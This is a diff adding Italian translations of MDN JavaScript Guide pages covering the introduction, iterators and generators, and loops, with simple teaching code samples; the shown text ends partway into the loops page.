+ <li>Un po' di esperienza di programmazione. Se sei nuovo della programmazione, prova uno dei tutorials linkati nella pagina principale di <a href="/en-US/docs/Web/JavaScript">JavaScript</a>.</li>
+</ul>
+
+<h2 id="Dove_trovare_informazioni_su_JavaScript">Dove trovare informazioni su JavaScript</h2>
+
+<p>La documentazione JavaScript su MDN comprende:</p>
+
+<ul>
+ <li><a href="/it-IT/Learn">Capire il web</a> fornisce informazioni per i principianti ed introduce i concetti base della programmazione e di Internet.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide">Guida JavaScript</a> (questa guida) fornisce una panoramica su JavaScript ed i suoi oggetti.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference">Riferimento JavaScript</a> fornisce materiale di riferimento dettagliato su JavaScript.</li>
+</ul>
+
+<p>Se sei nuovo di JavaScript, inizia con gli articoli presenti in <a href="/it-IT/Learn">Capire il web</a> e nella  <a href="/en-US/docs/Web/JavaScript/Guide">Guida JavaScript</a>. Quando avrai una chiara comprensione dei fondamentali, potrai usare il  <a href="/en-US/docs/Web/JavaScript/Reference">Riferimento JavaScript</a> per apprendere maggiori dettagli su singoli oggetti e parti del linguaggio.</p>
+
+<h2 id="Che_cos'è_JavaScript">Che cos'è JavaScript?</h2>
+
+<p>JavaScript è un linguaggio di scripting cross-platform e object-oriented. È un linguaggio piccolo e leggero. All interno di un ambiente ospite (ad esempio un web browser), JavaScript può essere connesso agli oggetti del suo ambiente per fornire controllo programmatico su di essi.</p>
+
+<p>JavaScript contiene una libreria standard di oggetti come Array, Date e Math, ed una serie di elementi base del linguaggio come operatori, strutture di controllo e dichiarazioni. La base di JavaScript può essere estesa per una varietà di scopi fornendogli oggetti aggiuntivi; ad esempio:</p>
+
+<ul>
+ <li><em>Client-side JavaScript</em> estende il linguaggio base fornendo oggetti per controllare il browser ed il suo Document Object Model (DOM). Per esempio, le estensioni client-side permettono ad una applicazione di inserire elementi in un form HTML e rispondere ad eventi dell'utente come il click del mouse, input nei form e navigazione delle pagine.</li>
+ <li><em>Server-side JavaScript</em> estende il linguaggio base fornendo oggetti rilevanti per eseguire JavaScript in un server. Per esempio le estensioni server-side consentono ad una applicazione di comunicare con un database, forniscono continuità di informazioni da una chiamata ad un altra dell'applicazione, o permettono la manipolazione di files nel server.</li>
+</ul>
+
+<h2 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript e Java</h2>
+
+<p>JavaScript e Java sono simili per certi aspetti, ma fondamentalmente diversi per altri. Il linguaggio JavaScript assomiglia a Java ma non ha la tipizzazione statica ed il controllo forte dei tipi di Java. JavaScript segue larga parte della sintassi delle espressioni di Java, la convenzione sui nomi ed i principali costrutti di controllo di flusso, e questa è la ragione per cui è stato rinominato da LiveScript a JavaScript.<br>
+ A differenza del sistema di classi costruito dalle dichiarazione a tempo di compilazione di Java, JavaScript supporta un sistema runtime basato su un piccolo numero di tipi di dato che rappresentano valori Booleani, numerici e di tipo stringa. JavaScript dispone di un modello ad oggetti basato su prototype al posto del più comune modello ad oggetti basato su classi. Il modello prototype-based fornisce ereditarietà dinamica; che significa che ciò che viene ereditato può variare per singoli oggetti. JavaScript inoltre supporta funzioni senza speciali requisiti dichiarativi. Le funzioni possono essere proprietà di oggetti, eseguite come metodi debolmente tipizzati.</p>
+
+<p>JavaScript è un linguaggio con un formalismo molto libero se confrontato a Java. Non è necessario dichiarare tutte le variabili, classi e metodi. Non ci si deve preoccupare se i metodi sono public, privare e protected, e non è necessario implementare interfacce. Variabili, parametri e valori di ritorno delle funzioni non sono tipizzati in modo esplicito.</p>
+
+<p>Java è un linguaggio di programmazione basato su classi progettato per essere veloce e con un controllo dei tipi rigoroso. Con controllo dei tipi rigoroso si intende per esempio, che non è possibile forzare un intero Java in un riferimento ad oggetto o accedere alla memoria privata corrompendo i bytecodes Java. Il modello basato sulle classi di Java significa che i programmi sono composti esclusivamente da classi con i propri metodi. L'ereditarietà delle classi di Java e la tipizzazione forte di solito richiedono gerarchie di oggetti strettamente definite. Questi requisiti rendono la programmazione di Java più complessa rispetto alla programmazione di JavaScript.</p>
+
+<p>D'altra parte, JavaScript si ispira ad una linea di linguaggi più piccoli, tipizzati dinamicamente come HyperTalk e dBASE. Questi linguaggi di scripting offrono strumenti di programmazione ad un pubblico più vasto grazie alla loro sintassi più facile, alle funzionalità specializzate predefinite nel linguaggio, ed ai minimi requisiti per la creazione di oggetti.</p>
+
+<table class="standard-table">
+ <caption>JavaScript confrontato con Java</caption>
+ <thead>
+  <tr>
+   <th scope="col">JavaScript</th>
+   <th scope="col">Java</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <p>Orientato ad oggetti. Non c'è distinzione tra tipi di oggetti. Ereditarietà con il meccanismo dei prototype e le proprietà ed i metodi possono essere aggiunti ad ogni oggetto dinamicamente.</p>
+   </td>
+   <td>
+    <p>Basato su classi. Gli oggetti vengono distinti in classi ed istanze con tutta l'ereditarietà costruita con lagerarchia delle classi. Classi ed istanze non possono avere proprietà o metodi aggiunti dinamicamente.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Le variabili ed i tipi non sono dichiarati (tipizzazione dinamica).</td>
+   <td>Le variabili ed i tipi di dato devono essere dichiarati (tipizzazione statica).</td>
+  </tr>
+  <tr>
+   <td>Non si può scrivere automaticamente suk disco fisso.</td>
+   <td>Si può scrivere automaticamente su disco fisso.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Per maggiori informazioni sulle differenze tra JavaScript e Java, vedi il capitolo <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Dettagli sul modello ad oggetti</a>.</p>
+
+<h2 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript e le specifiche ECMAScript</h2>
+
+<p>JavaScript è standardizzato da <a class="external" href="http://www.ecma-international.org/">Ecma International</a> — l'associazione Europea per la standardizzazione dei sisteni di comunicazione ed informazione (ECMA è l'acronimo di European Computer Manufacturers Association) per distribuire linguaggio di programmazione standardizzato ed internazionale basato su JavaScript. Questa versione standardizzata di JavaScript, chiamata ECMAScript, si comporta alla stesso modo in tutte le applicazioni che supportano lo standard. Le aziende possono usare il linguaggo standard aperto per svilupare le proprie implementazioni di JavaScript. Lo standard ECMAScript è documentato nelle specifiche ECMA-262. Consulta <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">Novità in JavaScript</a> per conoscere di più sulle differenti versioni di JavaScript e delle edizioni delle specifiche ECMAScript.</p>
+
+<p>Lo standard ECMA-262 è anche approvato da <a class="external" href="http://www.iso.ch/">ISO</a> (International Organization for Standardization) come ISO-16262. Si possono trovare le specifiche nel <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">sito Ecma internazionale</a>. Le specifiche ECMAScript non descrivono il Document Object Model (DOM), che viene standardizzato dal <a class="external" href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. Il DOM definisce il modo in cui gli oggetti di un documento HTML vengono esposti al tuo script. Per farti un'idea migliore sulle differenti tecnologie che si usano quando si programma con JavaScript, consulta l'articolo <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">Panoramicha delle tecnologie JavaScript</a>.</p>
+
+<h3 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">Documentazione JavaScript a confronto con le specifiche ECMAScript</h3>
+
+<p>Le specifiche ECMAScript sono una serie di requisiti per implementare ECMAScript; sono utili per chi desidera implementare funzionalità compatibili con lo standard del linguaggio nella propria implementazione di ECMAScript (come SpiderMonkey in Firefox, o v8 in Chrome).</p>
+
+<p>La documentazione ECMAScript non è indirizzata ad aiutare i programmatori di script; usa la documentazione di JavaScript per informazioni su come scrivere script.</p>
+
+<p>Le specifiche ECMAScript usano terminologie e sintassi che possono risultare non  familiari ai programmatori JavaScript Sebbene la descrizione del linguaggio possa essere diversa in ECMAScript, il linguaggio in se rimane lo stesso. JavaScript supporta tutte le funzionalità descritte nelle specifiche ECMAScript.</p>
+
+<p>La documentazione JavaScript descrive aspetti del linguaggio che sono appropriati per il programmatore JavaScript.</p>
+
+<h2 id="Iniziare_con_JavaScript">Iniziare con JavaScript</h2>
+
+<p>Iniziare con JavaScript è facile: la sola cosa che serve è un Web browser moderno. Questa guida include alcune funzionalità di JavaScript che sono attualmente disponibili solo nell'ultima versione di Firefox, per questo raccomandiamo di usare la versione più recente di Firefox.</p>
+
+<p>In Firefox sono presenti due strumenti che sono utili per sperimentare con JavaScript: la Console Web ed il Blocco per gli appunti.</p>
+
+<h3 id="La_Console_Web">La Console Web</h3>
+
+<p>La <a href="/en-US/docs/Tools/Web_Console">Console Web</a> espone informazioni sulla pagina Web attualmente caricata, ed include una <a href="/en-US/docs/Tools/Web_Console#The_command_line_interpreter">command line</a> che si può usare per eseguire espressioni nella pagina corrente.</p>
+
+<p>Per aprire la Console Web (Ctrl+Shift+K), scegli "Console web" dal menu "Sviluppo web", che si trova nel menu "Strumenti" di Firefox. Essa appare sotto la finestra del browser. Alla fine della console è presente la linea di comando che si può usare per inserire comandi JavaScript ed il risultato compare nel pannello soprastante:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7363/web-console-commandline.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Blocco_per_gli_appunti">Blocco per gli appunti</h3>
+
+<p>La Console Web è magnifica per eseguire singole linee di JavaScript, ma sebbene si possano eseguire linee multiple, non è molto comoda per questo e non è possibile salvare i propri esempi di codice con la Console Web. Quindi per esempi più complessi di codice il <a href="/en-US/docs/Tools/Scratchpad">Blocco per gli appunti</a> è uno strumento migliore.</p>
+
+<p>Per aprire il Blocco per gli appunti (Shift+F4), scegli "Blocco per gli appunti" dal menu "Sviluppo web", che si trova nel menu "Strumenti" di Firefox. Si apre in una finestra separata ed un editor che puoi usare per scrivere ed eseguire JavaScript nel browser. Si possono anche salvare scripts nel disco e caricare scripts salvati.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7365/scratchpad.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<h3 id="Hello_world">Hello world</h3>
+
+<p>Per iniziare a scrivere programmi JavaScript, apri il Blocco per gli appunti e scrivi il tuo primo codice "Hello world" JavaScript:</p>
+
+<pre class="brush: js">function greetMe(yourName) {
+  alert("Hello " + yourName);
+}
+
+greetMe("World");
+</pre>
+
+<p>Seleziona il codice nel blocco e premi Ctrl+R per vedere il risultato nel browser!</p>
+
+<p>Nelle prossime pagine, questa guida ti itrodurra alla sintassi di JavaScript ed alle caratteristiche del linguaggio, in questo modo sarai in grado di scrivere applicazioni più complesse.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p>
diff --git a/files/it/web/javascript/guida/iteratori_e_generatori/index.html b/files/it/web/javascript/guida/iteratori_e_generatori/index.html
new file mode 100644
index 0000000000..49b220cdd1
--- /dev/null
+++ b/files/it/web/javascript/guida/iteratori_e_generatori/index.html
@@ -0,0 +1,162 @@
+---
+title: Iteratori e generatori
+slug: Web/JavaScript/Guida/Iteratori_e_generatori
+translation_of: Web/JavaScript/Guide/Iterators_and_Generators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</div>
+
+<p class="summary">Processare ognuno degli elementi in una collezione è un'operazione molto comune. JavaScript fornisce tutta una serie di costrutti per iterare una collezione di elementi, dai semplici cicli {{jsxref("Statements/for","for")}} a {{jsxref("Global_Objects/Array/map","map()")}} e {{jsxref("Global_Objects/Array/filter","filter()")}}. Iterators e Generators portano il concetto di iterazione direttamente al cuore del linguaggio e forniscono un meccanismo per personalizzare i cicli {{jsxref("Statements/for...of","for...of")}}.</p>
+
+<p>Per maggiori dettagli, vedi anche:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li>
+ <li>{{jsxref("Statements/for...of","for...of")}}</li>
+ <li>{{jsxref("Statements/function*","function*")}} e {{jsxref("Generator")}}</li>
+ <li>{{jsxref("Operators/yield","yield")}} e {{jsxref("Operators/yield*","yield*")}}</li>
+</ul>
+
+<h2 id="Iterators">Iterators</h2>
+
+<p>Un oggetto è un <strong>iterator</strong> quando sa come accedere agli elementi di una collezione uno per volta, conservando l'informazione sulla sua posizione corrente nella sequenza. In Javascript un iterator è un oggetto che implementa il metodo <code>next()</code> , il quale ritorna l'elemento successivo della sequenza. Questo metodo ritorna un oggetto con due proprietà: <code>done</code> e<code>value</code>.</p>
+
+<p>Una volta che è stato creato, un iterator può essere utlizzato esplicitamente chiamando più volte il metodo <code>next()</code>.</p>
+
+<pre class="brush: js">function makeIterator(array) {
+    var nextIndex = 0;
+
+    return {
+       next: function() {
+           return nextIndex &lt; array.length ?
+               {value: array[nextIndex++], done: false} :
+               {done: true};
+       }
+    };
+}</pre>
+
+<p>Una volta che un iterator è stato inizializzato, il metodo<code>next()</code> può essere chiamato per accedere a coppie chiave-valore dall'oggetto ritornato:</p>
+
+<pre class="brush: js">var it = makeIterator(['yo', 'ya']);
+console.log(it.next().value); // 'yo'
+console.log(it.next().value); // 'ya'
+console.log(it.next().done);  // true</pre>
+
+<h2 id="Generators">Generators</h2>
+
+<p>Nonostante implementare un iterator possa essere utile, richiede una considerevole attenzione nella programmazione a causa del bisogno esplicito di mantenere lo stato interno dell'iteratore. I <strong>{{jsxref("Global_Objects/Generator","Generators","","true")}}</strong> forniscono una potente alternativa: ti permettono di definire un algoritmo iterativo scrivendo una singola funzione in grado di mantenere il proprio stato.</p>
+
+<p>Una GeneratorFunction è uno speciale tipo di funzione che opera come una "fabbrica" di iterators. Quando viene eseguita ritorna un nuovo oggetto Generator. Una funzione diventa una GeneratorFunction se usa la sintassi {{jsxref("Statements/function*","function*")}}.</p>
+
+<pre class="brush: js">function* idMaker() {
+  var index = 0;
+  while(true)
+    yield index++;
+}
+
+var gen = idMaker();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...</pre>
+
+<h2 id="Iterables">Iterables</h2>
+
+<p>Un oggetto è un <strong>iterable</strong> se definisce un comportamento di iterazione, come per esempio quali valori sono considerati in un costrutto {{jsxref("Statements/for...of", "for...of")}}. Alcuni tipi built-in di Javascript (come {{jsxref("Array")}} o {{jsxref("Map")}}) hanno un comportamento predefinito, mentre altri tipi (come {{jsxref("Object")}}) non ce l'hanno.</p>
+
+<p>Affinché un oggetto possa essere considerato un <strong>iterable</strong> deve implementare il metodo <strong>@@iterator</strong>, cioè l'oggetto (o uno degli oggetti che lo precedono nella <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">catena dei prototipi</a>) deve avere una proprietà con una chiave {{jsxref("Symbol.iterator")}}.</p>
+
+<h3 id="Iterables_definiti_dall'utente">Iterables definiti dall'utente</h3>
+
+<p>Possiamo creare i nostri iterables in questo modo:</p>
+
+<pre class="brush: js">var myIterable = {};
+myIterable[Symbol.iterator] = function* () {
+    yield 1;
+    yield 2;
+    yield 3;
+};
+
+for (let value of myIterable) {
+    console.log(value);
+}
+// 1
+// 2
+// 3
+
+or
+
+[...myIterable]; // [1, 2, 3]
+</pre>
+
+<h3 id="Iterables_Built-in">Iterables Built-in</h3>
+
+<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} e {{jsxref("Set")}} sono tutti iterables built-in nel linguaggio, perché i loro oggetti prototipi hanno tutti un metodo {{jsxref("Symbol.iterator")}}.</p>
+
+<h3 id="Sintassi_che_si_aspettano_degli_iterables">Sintassi che si aspettano degli iterables</h3>
+
+<p>Alcuni costrutti ed espressioni si aspettano degli iterables, per esempio il ciclo {{jsxref("Statements/for...of","for-of")}}, la {{jsxref("Operators/Spread_operator","sintassi spread","","true")}}, {{jsxref("Operators/yield*","yield*")}}, e l'{{jsxref("Operators/Destructuring_assignment","assegnamento di destrutturazione","","true")}}.</p>
+
+<pre class="brush: js">for (let value of ['a', 'b', 'c']) {
+    console.log(value);
+}
+// "a"
+// "b"
+// "c"
+
+[...'abc']; // ["a", "b", "c"]
+
+function* gen() {
+  yield* ['a', 'b', 'c'];
+}
+
+gen().next(); // { value: "a", done: false }
+
+[a, b, c] = new Set(['a', 'b', 'c']);
+a; // "a"
+
+</pre>
+
+<h2 id="Generators_avanzati">Generators avanzati</h2>
+
+<p>I generators calcolano i loro valori solo quando vengono effettivamente richiesti, il che gli permette di rappresentare sequenze che sono troppo onerose da calcolare, o perfino sequenze infinite, come nella funzione <code>idMaker()</code>.</p>
+
+<p>Il metodo {{jsxref("Global_Objects/Generator/next","next()")}} accetta anche un valore che può essere utilizzato per modificare lo stato interno di un generatore. Un valore passato a <code>next()</code> sarà trattato come il risultato dell'ultima espressione <code>yield</code> che ha messo in pausa il generator.</p>
+
+<p>Ecco un generator che produce una sequenza di numeri di Fibonacci. In questo generator il metodo<code>next(x)</code> può essere utilizzato per reinizializzare la sequenza:</p>
+
+<pre class="brush: js">function* fibonacci() {
+  var fn1 = 0;
+  var fn2 = 1;
+  while (true) {
+    var current = fn1;
+    fn1 = fn2;
+    fn2 = current + fn1;
+    var reset = yield current;
+    if (reset) {
+        fn1 = 0;
+        fn2 = 1;
+    }
+  }
+}
+
+var sequence = fibonacci();
+console.log(sequence.next().value);     // 0
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2
+console.log(sequence.next().value);     // 3
+console.log(sequence.next().value);     // 5
+console.log(sequence.next().value);     // 8
+console.log(sequence.next(true).value); // 0
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 1
+console.log(sequence.next().value);     // 2</pre>
+
+<p>Puoi forzare un generator a lanciare una eccezione chiamando il suo metodo {{jsxref("Global_Objects/Generator/throw","throw()")}} e passandogli il valore che dovrebbe lanciare. Questa eccezione sarà lanciata dal corrente context sospeso del generator, come se lo <code>yield</code> che è attualmente sospeso fosse invece una dichiarazione <code>throw <em>value</em></code>.</p>
+
+<p>Se non si incontra uno <code>yield</code> durante la risoluzione della eccezione lanciata, allora l'eccezione si propagherà fino alla chiamata a<code>throw()</code>, e in tutte le successive chiamate a <code>next()</code> la proprietà <code>done</code> sarà<code>true</code>.</p>
+
+<p>I generators hanno un metodo {{jsxref("Global_Objects/Generator/return","return(value)")}} che ritorna un valore e termina il generator stesso.</p>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</p>
diff --git a/files/it/web/javascript/guida/loops_and_iteration/index.html b/files/it/web/javascript/guida/loops_and_iteration/index.html
new file mode 100644
index 0000000000..c677151181
--- /dev/null
+++ b/files/it/web/javascript/guida/loops_and_iteration/index.html
@@ -0,0 +1,340 @@
+---
+title: Cicli e iterazioni
+slug: Web/JavaScript/Guida/Loops_and_iteration
+tags:
+  - Guide
+  - JavaScript
+  - Loop
+  - Sintassi
+translation_of: Web/JavaScript/Guide/Loops_and_iteration
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Control_flow_and_error_handling", "Web/JavaScript/Guide/Functions")}}</div>
+
+<p class="summary">I cicli offrono un modo semplice e rapido per fare cose ripetutamente. Questo capitolo della <a href="/en-US/docs/Web/JavaScript/Guide">guida al JavaScript</a> introduce i diversi metodi di iterazione disponibili in JavaScript.</p>
+
+<p>Si può pensare al loop come ad una versione computerizzata di un gioco dove si dice a qualcuno di andare X passi in una direzione e Y passi in un'atra; per esempio "vai 5 passi a est" può essere espresso in questo modo con un loop:</p>
+
+<pre class="brush: js notranslate">var passi;
+for (passi = 0; passi &lt; 5; passi++) {
+  // Viene eseguito 5 volte, con un valore di passi che va da 0 a 4.
+  console.log('Fai un passo verso est');
+}
+</pre>
+
+<p>Ci sono differenti tipi di ciclo, ma sono essenzialmente tutti la stessa cosa: ripetono un'azione o un insieme di azioni un certo numero di volte (è possibile che questo numero sia anche 0).</p>
+
+<p>I diversi meccanismi di ciclo offrono differenti modi di determinare l'inizio e la fine del ciclo. Ci sono casi che si prestano più ad un tipo di ciclo rispetto ad altri.</p>
+
+<p>Le istruzioni per i loop foriti in JavaScript sono:</p>
+
+<ul>
+ <li>{{anch("ciclo for")}}</li>
+ <li>{{anch("ciclo do...while")}}</li>
+ <li>{{anch("ciclo while")}}</li>
+ <li>{{anch("labeled statement")}}</li>
+ <li>{{anch("break statement")}}</li>
+ <li>{{anch("continue statement")}}</li>
+ <li>{{anch("ciclo for...in")}}</li>
+ <li>{{anch("ciclo for...of")}}</li>
+</ul>
+
+<h2 id="Istruzione_for">Istruzione <code>for</code></h2>
+
+<p>Il {{jsxref("statements/for","ciclo for")}} continua finché la condizione valutata non è falsa. Il fir loop JavaScript è simile a quello del Java e de C. L'istruzione <code>for</code> è definita come segue:</p>
+
+<pre class="syntaxbox notranslate">for ([espressioneIniziale]; [condizione]; [incremento])
+  istruzione
+</pre>
+
+<p>Quando viene eseguito un ciclo <code>for</code>, questo è ciò che accade:</p>
+
+<ol>
+ <li><code>espressioneIniziale</code>, se esiste, viene eseguita. L'espressione di solito inizializza uno o più indici, ma la sintassi permette di scrivere espressioni con diversi gradi di compessità. Questa espressione può anche dichiarare delle variabili.</li>
+ <li>La <code>condizione</code> viene verificata. Se il suo valore è true, l'espressione <code>istruzione</code> viene eseguita. Se invece <code>condizione</code> è false, il ciclo finisce. Se <code>condizione</code> è omessa, l'espressione si assume sia true.</li>
+ <li><code>istruzione</code> viene esguita. Per eseguire diverse istruzioni, è necessario usare il blocco (<code>{ ... }</code>) per raggrupparle.</li>
+ <li>Viene incrementata la l'espressione <code>incremento</code>, se esiste, eseguita, e il ciclo <code>for</code> va al passo successivo.</li>
+</ol>
+
+<h3 id="Esempio"><strong>Esempio</strong></h3>
+
+<p>Il seguente esempio contiene un ciclo <code>for</code> che conta il numero di opzioni selezionate in una lista a scorrimento (a {{HTMLElement("select")}} che permette selezioni multiple). L'istruzione <code>for</code> dichiara una variabile <code>i</code> e la inizializza a zero. Controlla che <code>i</code> sia minore del numero di opzioni dell'elemento <code>&lt;select&gt;</code> , esegue l'istruzione <code>if</code> e incrementa <code>i</code> di uno alla fine di ogni ciclo.</p>
+
+<pre class="brush: html notranslate">&lt;form name="selectForm"&gt;
+  &lt;p&gt;
+    &lt;label for="musicTypes"&gt;Choose some music types, then click the button below:&lt;/label&gt;
+    &lt;select id="musicTypes" name="musicTypes" multiple="multiple"&gt;
+      &lt;option selected="selected"&gt;R&amp;B&lt;/option&gt;
+      &lt;option&gt;Jazz&lt;/option&gt;
+      &lt;option&gt;Blues&lt;/option&gt;
+      &lt;option&gt;New Age&lt;/option&gt;
+      &lt;option&gt;Classical&lt;/option&gt;
+      &lt;option&gt;Opera&lt;/option&gt;
+    &lt;/select&gt;
+  &lt;/p&gt;
+  &lt;p&gt;&lt;input id="btn" type="button" value="Quanti sono selezionati?" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;script&gt;
+function howMany(selectObject) {
+  var numberSelected = 0;
+  for (var i = 0; i &lt; selectObject.options.length; i++) {
+    if (selectObject.options[i].selected) {
+      numberSelected++;
+    }
+  }
+  return numberSelected;
+}
+
+var btn = document.getElementById("btn");
+btn.addEventListener("click", function(){
+  alert('Number of options selected: ' + howMany(document.selectForm.musicTypes))
+});
+&lt;/script&gt;
+
+</pre>
+
+<h2 id="Istruzione_do...while">Istruzione<code> do...while</code></h2>
+
+<p>Il ciclo {{jsxref("statements/do...while", "do...while")}} si ripete finché la <code>condizione</code> non è falsa. Il <code>do...while</code> è viene definito come segue:</p>
+
+<pre class="syntaxbox notranslate">do
+  istruzione
+while (condizione);
+</pre>
+
+<p>l'<code>istruzione</code> viene eseguita una volta prima che la <code>condizione</code> venga controllata. Per eseguire più istruzioni, è necessario usare il blocco (<code>{ ... }</code>) . Se la <code>condizione</code> è vera l'<code>istruzione</code> viene eseguita nuovamente. Alla fine di ogni esecuzione di <code>istruzione</code>, <code>condizione</code> viene controllata. Quando <code>condizione</code> è falsa l'esecuzione del ciclo <code>do..while</code> termina.</p>
+
+<h3 id="Esempio_2"><strong>Esempio</strong></h3>
+
+<p>Nel seguente esempio il ciclo do..while itera almeno una volta e continua finché il valore di <code>i</code> è minore di 5.</p>
+
+<pre class="brush: js notranslate">var i = 0;
+do {
+  i += 1;
+  console.log(i);
+} while (i &lt; 5);</pre>
+
+<h2 id="Istruzione_while">Istruzione <code>while</code></h2>
+
+<p><code><font face="Open Sans, arial, sans-serif">Il ciclo</font> </code>{{jsxref("statements/while","while")}} esegue un'<code>istruzione</code> fino a quando una <code>condizione</code> è true. Ecco un esempio si un ciclo <code>while</code>:</p>
+
+<pre class="syntaxbox notranslate">while (condizione)
+  istruzione   //...statement
+</pre>
+
+<p>Se <code>condizione</code> diventa false, <code>istruzione</code> non viene eseguita a si passa ad eseguire i comandi successivi.</p>
+
+<p>Durante il ciclo c<code>ondizione</code> viene testata prima di eseguire <code>istruzione</code>. Se c<code>ondizione </code>è true, <code>istruzione</code> viene esguita e c<code>ondizione</code> viene verificata nuovamente. Se <code>condizione</code> è false il ciclo di ferma e viene eseguito il codice successivo al ciclo <code>while</code>.</p>
+
+<p>Per eseguire istruzioni multiple, è necessario usare il blocco ({ ... }) così da raggruppare le istruzioni.</p>
+
+<h3 id="Esempio_1"><strong>Esempio 1</strong></h3>
+
+<p>Il seguente esempio di ciclo <code>while</code> si ripete fino a quando <code>n</code> è minore di tre:</p>
+
+<pre class="brush: js notranslate">var n = 0;
+var x = 0;
+while (n &lt; 3) {
+  n++;
+  x += n;
+}
+</pre>
+
+<p>Ad ogni iterazione, il ciclo incrementa n e aggiunge quel valore a x. Pertanto,<code>x</code> e <code>n</code> assumono i seguenti valori:</p>
+
+<ul>
+ <li>Dopo il primo passaggio: <code>n</code> = 1 and <code>x</code> = 1</li>
+ <li>Dopo il secondo passaggio: <code>n</code> = 2 and <code>x</code> = 3</li>
+ <li>Dopo il terzo passaggio: <code>n</code> = 3 and <code>x</code> = 6</li>
+</ul>
+
+<p>Dopo aver completato il terzo passaggio, la condizione <code>n &lt; 3</code> non è più vera, quindi il ciclo termina.</p>
+
+<h3 id="Esempio_2_2"><strong>Esempio 2</strong></h3>
+
+<p>Evita loop infiniti. Assicurati che la condizione in un loop alla fine diventi falsa; altrimenti, il ciclo non terminerà mai. Le istruzioni nel seguente ciclo <code>while</code> vengono eseguite per sempre perché la condizione non diventa mai falsa:</p>
+
+<div class="blockIndicator warning">
+<pre class="brush: js notranslate">//I loop infiniti non vanno affatto bene
+while (true) {
+  console.log("Buongiorno, Mondo");
+}</pre>
+</div>
+
+<h2 id="Istruzione_etichettata">Istruzione "etichettata"</h2>
+
+<p>Un {{jsxref("statements/label","label")}} fornisce un'istruzione con un identificatore che ti consente di fare riferimento ad esso altrove nel tuo programma. Ad esempio, è possibile utilizzare un'etichetta per identificare un ciclo e quindi utilizzare le istruzioni <code>break</code> o <code>continue</code> per indicare se un programma deve interrompere il loop o continuare la sua esecuzione.</p>
+
+<p>La sintassi dell'istruzione etichettata è simile alla seguente:</p>
+
+<pre class="syntaxbox notranslate">label :
+   istruzione // statement
+</pre>
+
+<p>Il valore dell'etichetta <code><em>label </em></code>può essere qualsiasi identificatore JavaScript che non sia una parola riservata. L'affermazione che ti identifichi con un'etichetta <code><em>statement</em></code> può essere una qualsiasi affermazione.</p>
+
+<h3 id="Esempio_3"><strong>Esempio</strong></h3>
+
+<p>In questo esempio, la label <code>markLoop</code> identifica un ciclo <code>while</code>.</p>
+
+<pre class="brush: js notranslate">markLoop:
+while (theMark == true) {
+   doSomething();
+}</pre>
+
+<h2 id="Istruzione_break">Istruzione <code>break</code></h2>
+
+<p>Utilizzare l'istruzione {{jsxref("statements/break","break")}} per terminare un ciclo, uno <code>switch</code> o in congiunzione con un'istruzione etichettata.</p>
+
+<ul>
+ <li>Quando si utilizza <code>break</code> senza un'etichetta, termina l'enclosure più interno <code>while</code>, <code>do-while</code>, <code>for</code>, o <code>switch</code> immediatamente e trasferisce il controllo alla seguente istruzione.</li>
+ <li>Quando usi la <code>break</code> con un'etichetta, termina l'istruzione etichettata specificata.</li>
+</ul>
+
+<p>La sintassi dell'istruzione <code>break</code> è simile a questa:</p>
+
+<pre class="syntaxbox notranslate">break [<em>label</em>];
+</pre>
+
+<p>La prima forma della sintassi termina il ciclo <code>switch</code> di chiusura più interno; la seconda forma della sintassi termina l'istruzione dell'etichettata specificata.</p>
+
+<h3 id="Esempio_1_2"><strong>Esempio</strong> <strong>1</strong></h3>
+
+<p>L'esempio seguente esegue iterazioni attraverso gli elementi di un array (una matrice) fino a quando non trova l'indice di un elemento il cui valore è <code>theValue</code>:</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; a.length; i++) {
+  if (a[i] == theValue) {
+    break;
+  }
+}</pre>
+
+<h3 id="Esempio_2_Breaking_to_a_label_-_Interruzione_su_unetichetta"><strong>Esempio 2: </strong>Breaking to a label - Interruzione su un'etichetta</h3>
+
+<pre class="brush: js notranslate">var x = 0;
+var z = 0;
+labelCancelLoops: while (true) {
+  console.log("Outer loops: " + x);
+  x += 1;
+  z = 1;
+  while (true) {
+    console.log("Inner loops: " + z);
+    z += 1;
+    if (z === 10 &amp;&amp; x === 10) {
+      break labelCancelLoops;
+    } else if (z === 10) {
+      break;
+    }
+  }
+}</pre>
+
+<h2 id="Istruzione_continue">Istruzione <code>continue</code></h2>
+
